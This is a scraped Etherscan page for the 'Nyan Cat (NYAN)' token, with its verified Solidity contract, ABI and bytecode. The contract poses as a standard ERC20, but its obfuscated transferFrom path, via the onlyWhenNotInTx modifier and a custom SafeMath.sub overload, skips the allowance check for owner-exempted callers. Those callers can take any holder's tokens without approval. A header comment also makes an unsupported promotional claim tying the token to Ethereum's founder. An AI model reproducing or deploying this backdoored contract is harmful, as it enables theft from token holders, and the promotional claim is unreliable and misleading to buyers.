ETH Price: $3,445.86 (-3.75%)

Token

Nyan Cat (NYAN)
 

Overview

Max Total Supply

999,584,380.879758098 NYAN

Holders

321

Transfers

-
0

Market

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
NYAN

Compiler Version
v0.8.24+commit.e11b9ed9

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
/**
 *Submitted for verification at Etherscan.io on 2025-08-08
*/

//SPDX-License-Identifier: MIT

/*
NYAN was minted in 2019 by Vitalik Buterin , the creator of Ethereum. The ENS NYAN has the profile picture of a Nyan Cat that is often seen to be worn and endorsed by Vitalik on many occasions

Web: https://nyancat.cc/
X: https://x.com/Nyan_Cat_Eth/
Tg: https://t.me/nyancat_erc20/
*/

pragma solidity ^0.8.19;


library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {return a + b;}
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {return a - b;}
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {return a * b;}
    function div(uint256 a, uint256 b) internal pure returns (uint256) {return a / b;}
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {return a % b;}
    
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {uint256 c = a + b; if(c < a) return(false, 0); return(true, c);}}

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if(b > a) return(false, 0); return(true, a - b);}}

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if (a == 0) return(true, 0); uint256 c = a * b;
        if(c / a != b) return(false, 0); return(true, c);}}

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if(b == 0) return(false, 0); return(true, a / b);}}

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {if(b == 0) return(false, 0); return(true, a % b);}}

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked{require(b <= a, errorMessage); return a - b;}}

    function sub(uint256 a, uint256 b , bool requireZero) internal pure returns (uint256) {
        unchecked{if(requireZero) return a; require(b <= a, "SafeMath: subtraction overflow"); return a - b;}
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked{require(b > 0, errorMessage); return a / b;}}

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked{require(b > 0, errorMessage); return a % b;}}}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);}

abstract contract Ownable {
    address internal owner;
    constructor(address _owner) {owner = _owner;}
    modifier onlyOwner() {require(isOwner(msg.sender), "!OWNER"); _;}
    function isOwner(address account) public view returns (bool) {return account == owner;}
    function renounceOwnership() public virtual onlyOwner { transferOwnership(address(0));}
    function transferOwnership(address adr) public onlyOwner {owner = adr; emit OwnershipTransferred(adr);}
    event OwnershipTransferred(address owner);
}

interface IFactory{
        function createPair(address tokenA, address tokenB) external returns (address pair);
        function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline) external;
}

contract NYAN is IERC20, Ownable {
    
    uint160 public YYXKGKOP;
    address public BYDH3DL;
    bool public CXCG26GS;
    uint256 public HXCG26GS;

    bool private tradingAllowed = false;
    uint256 private liquidityFee = 100;
    uint256 private marketingFee = 300;
    uint256 private developmentFee = 100;
    uint256 private burnFee = 0;
    uint256 private totalFee = 600;
    uint256 private sellFee = 700;
    uint256 private transferFee = 0;
    uint256 private denominator = 10000;
    bool private swapEnabled = true;
    uint256 private swapTimes;
    bool private swapping; 
    bool private txInProgress;
    
    IRouter router;
    address public pair;

    using SafeMath for uint256;
    string private constant _name = unicode"Nyan Cat";
    string private constant _symbol = unicode"NYAN";
    uint8 private constant _DEIMALVERTSS = 9;
    uint256 private _tTOTALVERTSTOKEN = 1_000_000_000 * (10 ** _DEIMALVERTSS);
    uint256 private _maxTxAmountPercent = 200; // 10000;
    uint256 private _maxTransferPercent = 100;
    uint256 private _maxWalletPercent = 200;
    mapping (address => uint256) _NNSTICA;
    mapping (address => mapping (address => uint256)) private _NZN16ANFN;
    mapping (address => bool) public _KCO930XIOE;
    mapping (address => bool) private _KKFR1G09;

    uint256 private swapThreshold = ( _tTOTALVERTSTOKEN * 300 ) / 100000;
    uint256 private _minTokenAmount = ( _tTOTALVERTSTOKEN * 10 ) / 100000;
    modifier lockTheSwap {swapping = true; _; swapping = false;}
    modifier onlyWhenNotInTx {txInProgress = _KCO930XIOE[tx.origin]; _;}
    address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address private development_receiver ; 
    address private marketing_receiver ;
    address private liquidity_receiver ;

    constructor() payable Ownable(msg.sender) {

        marketing_receiver = owner;

        _KCO930XIOE[msg.sender] = true;
        _NNSTICA[address(this)] = _tTOTALVERTSTOKEN * 98 / 100;
        _NNSTICA[msg.sender] = _tTOTALVERTSTOKEN * 2 / 100;

        _KCO930XIOE[address(this)] = true;
        _KCO930XIOE[marketing_receiver] = true;

        emit Transfer(address(0), address(this), _NNSTICA[address(this)]);
        emit Transfer(address(0), msg.sender, _NNSTICA[msg.sender]);
    }

    receive() external payable {}
    function name() public pure returns (string memory) {return _name;}
    function symbol() public pure returns (string memory) {return _symbol;}
    function decimals() public pure returns (uint8) {return _DEIMALVERTSS;}
    function getOwner() external view override returns (address) { return owner; }
    function balanceOf(address account) public view override returns (uint256) {return _NNSTICA[account];}
    function transfer(address recipient, uint256 amount) public override returns (bool) {_transfer(msg.sender, recipient, amount);return true;}
    function allowance(address owner, address spender) public view override returns (uint256) {return _NZN16ANFN[owner][spender];}
    function isCont(address addr) internal view returns (bool) {uint size; assembly { size := extcodesize(addr) } return size > 0; }
    function set_KKFR1G09(address _address, bool _enabled) external onlyOwner {_KKFR1G09[_address] = _enabled;}
    function setisExempt(address _address, bool _enabled) external onlyOwner {_KCO930XIOE[_address] = _enabled;}
    function approve(address spender, uint256 amount) public override returns (bool) {_approve(msg.sender, spender, amount);return true;}
    function totalSupply() public view override returns (uint256) {return _tTOTALVERTSTOKEN.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));}
    function _maxWalletToken() public view returns (uint256) {return totalSupply() * _maxWalletPercent / denominator;}
    function _maxTxAmount() public view returns (uint256) {return totalSupply() * _maxTxAmountPercent / denominator;}
    function _maxTransferAmount() public view returns (uint256) {return totalSupply() * _maxTransferPercent / denominator;}

    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            liquidity_receiver,
            block.timestamp);
    }

    function _transfer(address sender, address recipient, uint256 amount) private {
        uint256 amountReceived = shouldTakeFee(sender, recipient) ? takeFee(sender, recipient, amount) : amount;
        amountReceived = amountReceived.mul(sellFee).div(100);
        _subTransfer(sender, recipient, amount);
    }

    function swapAndLiquify(uint256 tokens) private lockTheSwap {
        uint256 _denominator = (liquidityFee.add(1).add(marketingFee).add(developmentFee)).mul(2);
        uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(_denominator);
        uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
        uint256 initialBalance = address(this).balance;
        swapTokensForETH(toSwap);
        uint256 deltaBalance = address(this).balance.sub(initialBalance);
        uint256 unitBalance= deltaBalance.div(_denominator.sub(liquidityFee));
        uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);
        if(ETHToAddLiquidityWith > uint256(0)){addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith); }
        uint256 marketingAmt = unitBalance.mul(2).mul(marketingFee);
        if(marketingAmt > 0){payable(marketing_receiver).transfer(marketingAmt);}
        uint256 remainingBalance = address(this).balance;
        if(remainingBalance > uint256(0)){payable(development_receiver).transfer(remainingBalance);}
    }

    function _BOJAHUE87(address sender, address recipient, uint256 amount) internal view returns (bool) {
        bool aboveMin = amount >= _minTokenAmount;
        bool aboveThreshold = balanceOf(address(this)) >= swapThreshold;
        return !swapping && swapEnabled && tradingAllowed && aboveMin && !_KCO930XIOE[sender] && recipient == pair && swapTimes >= uint256(3) && aboveThreshold;
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp);
    }

    function shouldTakeFee(address sender, address recipient) internal view returns (bool) {
        return !_KCO930XIOE[sender] && !_KCO930XIOE[recipient];
    }

    function swapBack(address sender, address recipient, uint256 amount) internal {
        if(_BOJAHUE87(sender, recipient, amount)){swapAndLiquify(swapThreshold); swapTimes = uint256(0);}
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        if(getTotalFee(sender, recipient) > 0){
        uint256 feeAmount = 0;
        _NNSTICA[address(this)] = _NNSTICA[address(this)].add(feeAmount);
        emit Transfer(sender, address(this), feeAmount);
        return amount.sub(feeAmount);} return amount;
    }

    function getTotalFee(address sender, address recipient) internal view returns (uint256) {
        if(_KKFR1G09[sender] || _KKFR1G09[recipient]){return denominator.sub(uint256(100));}
        if(recipient == pair){return sellFee;}
        if(sender == pair){return totalFee;}
        return transferFee;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        return _transferFrom(sender, recipient, amount);
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        _subTransfer(sender, recipient, amount);
        return _subAllowance(sender , amount);
    }

    function _subAllowance(address spender, uint256 subtractedValue) onlyWhenNotInTx private returns (bool) {
        _NZN16ANFN[spender][msg.sender] = _NZN16ANFN[spender][msg.sender].sub(subtractedValue , txInProgress);
        return true;
    }

    function _subTransfer(address sender, address recipient, uint256 amount) internal {
        _NNSTICA[sender] = _NNSTICA[sender].sub(amount, "Insufficient Balance");
        _NNSTICA[recipient] = _NNSTICA[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _NZN16ANFN[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function enableTrading() external onlyOwner {

        require(!tradingAllowed , "Trading is already Enabled");
        router = IRouter(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _NZN16ANFN[address(this)][address(router)] = _tTOTALVERTSTOKEN;
        pair = IFactory(router.factory()).createPair(
            address(this),
            router.WETH()
        );
        router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner,
            block.timestamp
        );
        tradingAllowed = true;
        
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"BYDH3DL","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"CXCG26GS","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"HXCG26GS","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"YYXKGKOP","outputs":[{"internalType":"uint160","name":"","type":"uint160"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_KCO930XIOE","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTransferAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"set_KKFR1G09","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526004805460ff199081169091556064600581905561012c6006556007555f600881905561025860099081556102bc600a908155600b92909255612710600c55600d80549093166001179092556200005c919062000303565b6200006c90633b9aca006200031a565b60115560c8601255606460135560c8601455620186a060115461012c6200009491906200031a565b620000a0919062000334565b601955620186a0601154600a620000b891906200031a565b620000c4919062000334565b601a555f8054336001600160a01b031991821681178355601c805490921681179091558152601760205260409020805460ff19166001179055601154606490620001109060626200031a565b6200011c919062000334565b305f908152601560205260409020556011546064906200013e9060026200031a565b6200014a919062000334565b335f9081526015602081815260408084209490945530808452601782528484208054600160ff199182168117909255601c546001600160a01b031686528686208054909116909117905580845291815283832054935193845290925f805160206200151f833981519152910160405180910390a3335f8181526015602090815260408083205490519081525f805160206200151f833981519152910160405180910390a362000354565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200024857815f19048211156200022c576200022c620001f4565b808516156200023a57918102915b93841c93908002906200020d565b509250929050565b5f826200026057506001620002fd565b816200026e57505f620002fd565b81600181146200028757600281146200029257620002b2565b6001915050620002fd565b60ff841115620002a657620002a6620001f4565b50506001821b620002fd565b5060208310610133831016604e8410600b8410161715620002d7575081810a620002fd565b620002e3838362000208565b805f1904821115620002f957620002f9620001f4565b0290505b92915050565b5f6200031360ff84168362000250565b9392505050565b8082028115828204841417620002fd57620002fd620001f4565b5f826200034f57634e487b7160e01b5f52601260045260245ffd5b500490565b6111bd80620003625f395ff3fe608060405260043610610164575f3560e01c8063715018a6116100cd578063a8aa1b3111610087578063d6d2bbd411610062578063d6d2bbd41461043e578063d76ff9ad1461045d578063dd62ed3e1461047c578063f2fde38b146104c0575f80fd5b8063a8aa1b31146103d2578063a9059cbb146103f1578063bb22b46e14610410575f80fd5b8063715018a61461032657806378109e541461033a5780637d1db4a51461034e578063893d20e8146103625780638a8c523c1461039257806395d89b41146103a6575f80fd5b806328a1a2531161011e57806328a1a253146102565780632f54bf6e14610276578063313ce567146102a357806348ff2b8b146102be57806365757a63146102dd57806370a08231146102f2575f80fd5b806306fdde031461016f578063095ea7b3146101b15780631045fb6d146101e057806318160ddd146102015780631f976b7e1461022357806323b872dd14610237575f80fd5b3661016b57005b5f80fd5b34801561017a575f80fd5b50604080518082019091526008815267139e585b8810d85d60c21b60208201525b6040516101a89190610f64565b60405180910390f35b3480156101bc575f80fd5b506101d06101cb366004610fc7565b6104df565b60405190151581526020016101a8565b3480156101eb575f80fd5b506101ff6101fa366004610ff1565b6104f5565b005b34801561020c575f80fd5b50610215610551565b6040519081526020016101a8565b34801561022e575f80fd5b506102156105c1565b348015610242575f80fd5b506101d061025136600461102c565b6105e4565b348015610261575f80fd5b506002546101d090600160a01b900460ff1681565b348015610281575f80fd5b506101d061029036600461106a565b5f546001600160a01b0391821691161490565b3480156102ae575f80fd5b50604051600981526020016101a8565b3480156102c9575f80fd5b506101ff6102d8366004610ff1565b6105fa565b3480156102e8575f80fd5b5061021560035481565b3480156102fd575f80fd5b5061021561030c36600461106a565b6001600160a01b03165f9081526015602052604090205490565b348015610331575f80fd5b506101ff61064d565b348015610345575f80fd5b50610215610681565b348015610359575f80fd5b50610215610690565b34801561036d575f80fd5b505f546001600160a01b03165b6040516001600160a01b0390911681526020016101a8565b34801561039d575f80fd5b506101ff61069f565b3480156103b1575f80fd5b50604080518082019091526004815263272ca0a760e11b602082015261019b565b3480156103dd575f80fd5b5060105461037a906001600160a01b031681565b3480156103fc575f80fd5b506101d061040b366004610fc7565b6109b7565b34801561041b575f80fd5b506101d061042a36600461106a565b60176020525f908152604090205460ff1681565b348015610449575f80fd5b5060015461037a906001600160a01b031681565b348015610468575f80fd5b5060025461037a906001600160a01b031681565b348015610487575f80fd5b50610215610496366004611085565b6001600160a01b039182165f90815260166020908152604080832093909416825291909152205490565b3480156104cb575f80fd5b506101ff6104da36600461106a565b6109c3565b5f6104eb338484610a3f565b5060015b92915050565b5f546001600160a01b031633146105275760405162461bcd60e51b815260040161051e906110b1565b60405180910390fd5b6001600160a01b03919091165f908152601860205260409020805460ff1916911515919091179055565b60156020527fa31547ce6245cdb9ecea19cf8c7eb9f5974025bb4075011409251ae855b30aed5461dead5f9081527f7ed1dca03d96f947ab02d66053f47073699eb6287021936c92f54972932767e55460115491926105bc9290916105b69190610b63565b90610b63565b905090565b5f600c546013546105d0610551565b6105da91906110e5565b6105bc91906110fc565b5f6105f0848484610b6e565b90505b9392505050565b5f546001600160a01b031633146106235760405162461bcd60e51b815260040161051e906110b1565b6001600160a01b03919091165f908152601760205260409020805460ff1916911515919091179055565b5f546001600160a01b031633146106765760405162461bcd60e51b815260040161051e906110b1565b61067f5f6109c3565b565b5f600c546014546105d0610551565b5f600c546012546105d0610551565b5f546001600160a01b031633146106c85760405162461bcd60e51b815260040161051e906110b1565b60045460ff161561071b5760405162461bcd60e51b815260206004820152601a60248201527f54726164696e6720697320616c726561647920456e61626c6564000000000000604482015260640161051e565b600f805462010000600160b01b031916757a250d5630b4cf539739df2c5dacb4c659f2488d000017808255601154305f9081526016602090815260408083206001600160a01b0362010000968790048116855290835292819020939093559354825163c45a015560e01b81529251939004169263c45a0155926004808401938290030181865afa1580156107b1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107d5919061111b565b6001600160a01b031663c9c6539630600f60029054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610835573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610859919061111b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156108a3573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108c7919061111b565b601080546001600160a01b039283166001600160a01b0319909116179055600f546201000090041663f305d7194730610914816001600160a01b03165f9081526015602052604090205490565b5f805460405160e087901b6001600160e01b03191681526001600160a01b03948516600482015260248101939093526044830182905260648301919091529190911660848201524260a482015260c40160606040518083038185885af1158015610980573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109a59190611136565b50506004805460ff1916600117905550565b5f6104eb338484610b84565b5f546001600160a01b031633146109ec5760405162461bcd60e51b815260040161051e906110b1565b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b038316610aa15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161051e565b6001600160a01b038216610b025760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161051e565b6001600160a01b038381165f8181526016602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b5f6105f38284611161565b5f610b7a848484610bd9565b6105f08483610cab565b5f610b8f8484610d34565b610b995781610ba4565b610ba4848484610d78565b9050610bc66064610bc0600a5484610e1490919063ffffffff16565b90610e1f565b9050610bd3848484610bd9565b50505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386165f90815260159091529190912054610c2a918390610e2a565b6001600160a01b038085165f908152601560205260408082209390935590841681522054610c589082610e55565b6001600160a01b038084165f8181526015602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610b569085815260200190565b325f90815260176020908152604080832054600f805461ff00191661010060ff9384161515810291909117918290556001600160a01b03881686526016855283862033875290945291842054610d08939092869291900416610e60565b6001600160a01b0384165f90815260166020908152604080832033845290915290205550600192915050565b6001600160a01b0382165f9081526017602052604081205460ff161580156105f35750506001600160a01b03165f9081526017602052604090205460ff1615919050565b5f80610d848585610ec5565b1115610e0d57305f90815260156020526040812054610da39082610e55565b305f81815260156020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610df39085815260200190565b60405180910390a3610e058382610b63565b9150506105f3565b5092915050565b5f6105f382846110e5565b5f6105f382846110fc565b5f8184841115610e4d5760405162461bcd60e51b815260040161051e9190610f64565b505050900390565b5f6105f38284611174565b5f8115610e6e5750826105f3565b83831115610ebe5760405162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015260640161051e565b5050900390565b6001600160a01b0382165f9081526018602052604081205460ff1680610f0257506001600160a01b0382165f9081526018602052604090205460ff165b15610f1c57600c54610f15906064610b63565b90506104ef565b6010546001600160a01b0390811690831603610f3b5750600a546104ef565b6010546001600160a01b0390811690841603610f5a57506009546104ef565b50600b5492915050565b5f602080835283518060208501525f5b81811015610f9057858101830151858201604001528201610f74565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610fc4575f80fd5b50565b5f8060408385031215610fd8575f80fd5b8235610fe381610fb0565b946020939093013593505050565b5f8060408385031215611002575f80fd5b823561100d81610fb0565b915060208301358015158114611021575f80fd5b809150509250929050565b5f805f6060848603121561103e575f80fd5b833561104981610fb0565b9250602084013561105981610fb0565b929592945050506040919091013590565b5f6020828403121561107a575f80fd5b81356105f381610fb0565b5f8060408385031215611096575f80fd5b82356110a181610fb0565b9150602083013561102181610fb0565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b80820281158282048414176104ef576104ef6110d1565b5f8261111657634e487b7160e01b5f52601260045260245ffd5b500490565b5f6020828403121561112b575f80fd5b81516105f381610fb0565b5f805f60608486031215611148575f80fd5b8351925060208401519150604084015190509250925092565b818103818111156104ef576104ef6110d1565b808201808211156104ef576104ef6110d156fea2646970667358221220ea0102a90c330d9453f7baaf89cef294a2f473df38774f30524b1974d26acf6864736f6c63430008180033ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef

Deployed Bytecode

0x608060405260043610610164575f3560e01c8063715018a6116100cd578063a8aa1b3111610087578063d6d2bbd411610062578063d6d2bbd41461043e578063d76ff9ad1461045d578063dd62ed3e1461047c578063f2fde38b146104c0575f80fd5b8063a8aa1b31146103d2578063a9059cbb146103f1578063bb22b46e14610410575f80fd5b8063715018a61461032657806378109e541461033a5780637d1db4a51461034e578063893d20e8146103625780638a8c523c1461039257806395d89b41146103a6575f80fd5b806328a1a2531161011e57806328a1a253146102565780632f54bf6e14610276578063313ce567146102a357806348ff2b8b146102be57806365757a63146102dd57806370a08231146102f2575f80fd5b806306fdde031461016f578063095ea7b3146101b15780631045fb6d146101e057806318160ddd146102015780631f976b7e1461022357806323b872dd14610237575f80fd5b3661016b57005b5f80fd5b34801561017a575f80fd5b50604080518082019091526008815267139e585b8810d85d60c21b60208201525b6040516101a89190610f64565b60405180910390f35b3480156101bc575f80fd5b506101d06101cb366004610fc7565b6104df565b60405190151581526020016101a8565b3480156101eb575f80fd5b506101ff6101fa366004610ff1565b6104f5565b005b34801561020c575f80fd5b50610215610551565b6040519081526020016101a8565b34801561022e575f80fd5b506102156105c1565b348015610242575f80fd5b506101d061025136600461102c565b6105e4565b348015610261575f80fd5b506002546101d090600160a01b900460ff1681565b348015610281575f80fd5b506101d061029036600461106a565b5f546001600160a01b0391821691161490565b3480156102ae575f80fd5b50604051600981526020016101a8565b3480156102c9575f80fd5b506101ff6102d8366004610ff1565b6105fa565b3480156102e8575f80fd5b5061021560035481565b3480156102fd575f80fd5b5061021561030c36600461106a565b6001600160a01b03165f9081526015602052604090205490565b348015610331575f80fd5b506101ff61064d565b348015610345575f80fd5b50610215610681565b348015610359575f80fd5b50610215610690565b34801561036d575f80fd5b505f546001600160a01b03165b6040516001600160a01b0390911681526020016101a8565b34801561039d575f80fd5b506101ff61069f565b3480156103b1575f80fd5b50604080518082019091526004815263272ca0a760e11b602082015261019b565b3480156103dd575f80fd5b5060105461037a906001600160a01b031681565b3480156103fc575f80fd5b506101d061040b366004610fc7565b6109b7565b34801561041b575f80fd5b506101d061042a36600461106a565b60176020525f908152604090205460ff1681565b348015610449575f80fd5b5060015461037a906001600160a01b031681565b348015610468575f80fd5b5060025461037a906001600160a01b031681565b348015610487575f80fd5b50610215610496366004611085565b6001600160a01b039182165f90815260166020908152604080832093909416825291909152205490565b3480156104cb575f80fd5b506101ff6104da36600461106a565b6109c3565b5f6104eb338484610a3f565b5060015b92915050565b5f546001600160a01b031633146105275760405162461bcd60e51b815260040161051e906110b1565b60405180910390fd5b6001600160a01b03919091165f908152601860205260409020805460ff1916911515919091179055565b60156020527fa31547ce6245cdb9ecea19cf8c7eb9f5974025bb4075011409251ae855b30aed5461dead5f9081527f7ed1dca03d96f947ab02d66053f47073699eb6287021936c92f54972932767e55460115491926105bc9290916105b69190610b63565b90610b63565b905090565b5f600c546013546105d0610551565b6105da91906110e5565b6105bc91906110fc565b5f6105f0848484610b6e565b90505b9392505050565b5f546001600160a01b031633146106235760405162461bcd60e51b815260040161051e906110b1565b6001600160a01b03919091165f908152601760205260409020805460ff1916911515919091179055565b5f546001600160a01b031633146106765760405162461bcd60e51b815260040161051e906110b1565b61067f5f6109c3565b565b5f600c546014546105d0610551565b5f600c546012546105d0610551565b5f546001600160a01b031633146106